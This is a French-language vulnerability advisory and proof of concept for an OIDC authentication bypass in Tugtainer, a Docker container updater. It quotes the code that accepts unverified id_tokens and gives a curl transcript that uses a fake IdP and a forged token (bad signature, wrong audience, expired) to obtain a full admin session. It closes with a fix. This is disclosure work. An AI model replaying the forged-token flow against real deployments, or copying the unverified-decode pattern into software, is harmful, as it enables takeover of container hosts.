
PoC — id_token OIDC accepté sans vérification de signature/d’audience/d’expiration dans Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
Statut CVE : demandé, en attente d'attribution. Cette découverte est publiée sous GHSA-crjc-6vc7-xrfh. À l'attribution de la CVE, ce dépôt est renommé
CVE-YYYY-NNNNN-tugtainer-PoCet cette bannière est remplacée par le lien CVE.
| Chercheur | Dostxodjayev Abdullox (@squeeze440) |
| Avis | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (Élevé) |
| Faiblesse | CWE-347 |
Une vérification incorrecte de la signature cryptographique dans le fournisseur d'authentification OIDC dans backend/modules/auth/providers/auth_oidc_provider.py de Quenary/tugtainer (commit 3138226) permet à un attaquant en position de contrôler ou d'intercepter la réponse d'échange de jeton entre le backend tugtainer et le fournisseur OIDC configuré (par exemple une position MITM sur le réseau, un fournisseur d'identité compromis/malveillant, ou une compromission DNS/terminaison TLS sur ce chemin) de forger un id_token arbitraire et d'obtenir une session tugtainer entièrement authentifiée, équivalente à un administrateur, pour n'importe quelle identité, via GET /api/auth/oidc/callback.
Quenary/tugtainer — outil auto-hébergé de mise à jour automatique de conteneurs Docker avec interface web, architecture agent/backend.
Commit 31382268bf16df32f33316fe4d601ad1635871d4 (branche par défaut du dépôt, cloné le 2026-08-05).
8.1 (Élevé) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (et non AC:L) : l'exploitation n'est pas une simple requête réseau non authentifiée. Elle nécessite que l'attaquant contrôle ce que le point de terminaison de jeton renvoie au backend lors de l'échange de code serveur à serveur — concrètement une position MITM entre le backend tugtainer et le véritable IdP, ou un IdP compromis/malveillant que le backend est configuré pour faire confiance. Il s'agit d'une précondition réelle et non triviale, donc AC:H est utilisé plutôt que AC:L.UI:N : une fois que l'attaquant a cette position réseau, aucune interaction de la victime n'est nécessaire — l'attaquant peut piloter l'intégralité du flux de connexion lui-même (confirmé dans le PoC ci-dessous, réalisé de bout en bout avec curl).C:H/I:H/A:H : la session résultante est une session tugtainer complète et sans restriction (aucun RBAC/liste d'autorisation n'existe pour les identités OIDC — voir Détails) avec accès à tous les points de terminaison de gestion des conteneurs/hôtes : lister/lire tous les hôtes et conteneurs Docker, démarrer/arrêter/tuer/supprimer des conteneurs, tirer des images, et (si ALLOW_HOOKS/ALLOW_EXEC sont activés sur un hôte) exécuter des commandes à l'intérieur des conteneurs.S:U : l'impact reste dans la propre frontière d'autorisation de tugtainer (l'attaquant devient un utilisateur tugtainer authentifié) ; il n'est pas traité comme un changement de portée vers un composant autorisé séparément.backend/modules/auth/providers/auth_oidc_provider.py, méthode _exchange_oidc_code (lignes 267–331), spécifiquement les lignes 299–306 :
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) décode en base64 la charge utile du JWT sans vérifier la signature, exp/iat, ni aud/iss — exactement l'inverse de ce que OpenID Connect Core 1.0 §3.1.3.7 exige qu'un RP fasse avant de faire confiance à un ID Token. Le commentaire du développeur lui-même (« not recommended for production ») confirme qu'il s'agissait d'un raccourci connu, et non d'un choix de conception intentionnel.
Les revendications résultantes alimentent directement la création de session sans aucune vérification supplémentaire :
callback() (ligne 137) appelle _exchange_oidc_code() puis _create_oidc_user_session() (ligne 333), qui extrait email/sub/preferred_username (lignes 341–345) directement des revendications non vérifiées et génère de véritables cookies JWT access_token/refresh_token tugtainer signés (HttpOnly, SameSite=strict) via _set_cookies().grep pour les motifs allowlist/allowed-email dans backend/ ne renvoie rien) — quel que soit le sub/email présent dans les revendications (non vérifiées), il devient l'identité de la nouvelle session, avec le même accès que tout autre utilisateur connecté (tugtainer a un seul niveau de confiance plat, pas de RBAC par utilisateur).aud et iss ne sont jamais vérifiés, un ID Token émis pour un client complètement sans rapport du même IdP — ou, comme démontré ci-dessous, avec une signature invalide/incohérente et un exp déjà expiré — est accepté tout aussi facilement qu'un ID Token légitime.Ceci n'est accessible que lorsque OIDC_ENABLED=true (une option activée par l'administrateur), donc cela n'affecte pas le déploiement par défaut/mot de passe uniquement.
Vérifié dynamiquement contre la véritable application construite à partir de ce commit (docker build -f Dockerfile.app), exécutée via un simple docker run (pas l'image publiée) avec :
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Un fournisseur OIDC factice minimal (evidence/fake_idp.py, conservé dans ce dossier d'engagement) sert un document de découverte valide, et sur POST /token renvoie toujours un id_token délibérément invalide de toutes les manières qu'un RP est censé vérifier :
aud = "totally-wrong-client-id-not-tugtainers" (ne correspond pas à OIDC_CLIENT_ID)exp = 1 heure dans le passé (déjà expiré)Étapes (commandes réelles, sortie réelle, les deux conteneurs exécutés localement) :
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Charge utile access_token décodée (telle que générée par le propre signataire JWT de tugtainer pour cet « utilisateur ») :
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Session ensuite confirmée en direct contre des points de terminaison protégés :
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
Le propre journal de l'IdP factice confirme le jeton forgé exact qu'il a renvoyé :
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
Assistant PoC : evidence/fake_idp.py (conservé aux côtés de ce rapport).
Aucune capture d'écran n'est incluse — il s'agit d'un contournement d'API serveur à serveur sans composant navigateur/interface à capturer ; la transcription curl ci-dessus constitue la preuve réelle et non modifiée des commandes/réponses.
Tout attaquant capable d'influencer la réponse de l'appel d'échange de jeton OIDC effectué par le backend tugtainer (MITM sur ce chemin réseau, un IdP malveillant/compromis, ou une compromission DNS/terminaison TLS entre le backend et l'IdP) peut générer une session tugtainer entièrement valide et sans restriction sous une identité arbitraire — sans avoir besoin de connaître les identifiants d'un utilisateur réel et sans interaction d'un utilisateur légitime. Comme tugtainer n'a pas de RBAC par utilisateur, cette session dispose d'un accès complet à l'application : énumérer tous les hôtes et conteneurs Docker enregistrés, démarrer/arrêter/tuer/supprimer des conteneurs, tirer/étiqueter des images, et (là où ALLOW_HOOKS/ALLOW_EXEC de l'agent sont activés) exécuter des commandes à l'intérieur des conteneurs.
aud/iss/exp manquantes)Dans _exchange_oidc_code, remplacer jwt.get_unverified_claims(token["id_token"]) par un décodage vérifiant : récupérer le jwks_uri de l'IdP depuis le document de découverte, résoudre la clé de signature par kid, et appeler jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose prend tout cela en charge). Cela impose la vérification de la signature, exp/iat/nbf, aud et iss conformément à la spécification OIDC Core. Envisager également d'ajouter une liste d'autorisation optionnelle des valeurs email/sub acceptées pour les déploiements qui partagent un IdP avec d'autres applications.
Dostxodjayev Abdullox (GitHub : squeeze440)
GitHub Security Advisory / Private Vulnerability Reporting sur Quenary/tugtainer (PVR confirmé activé).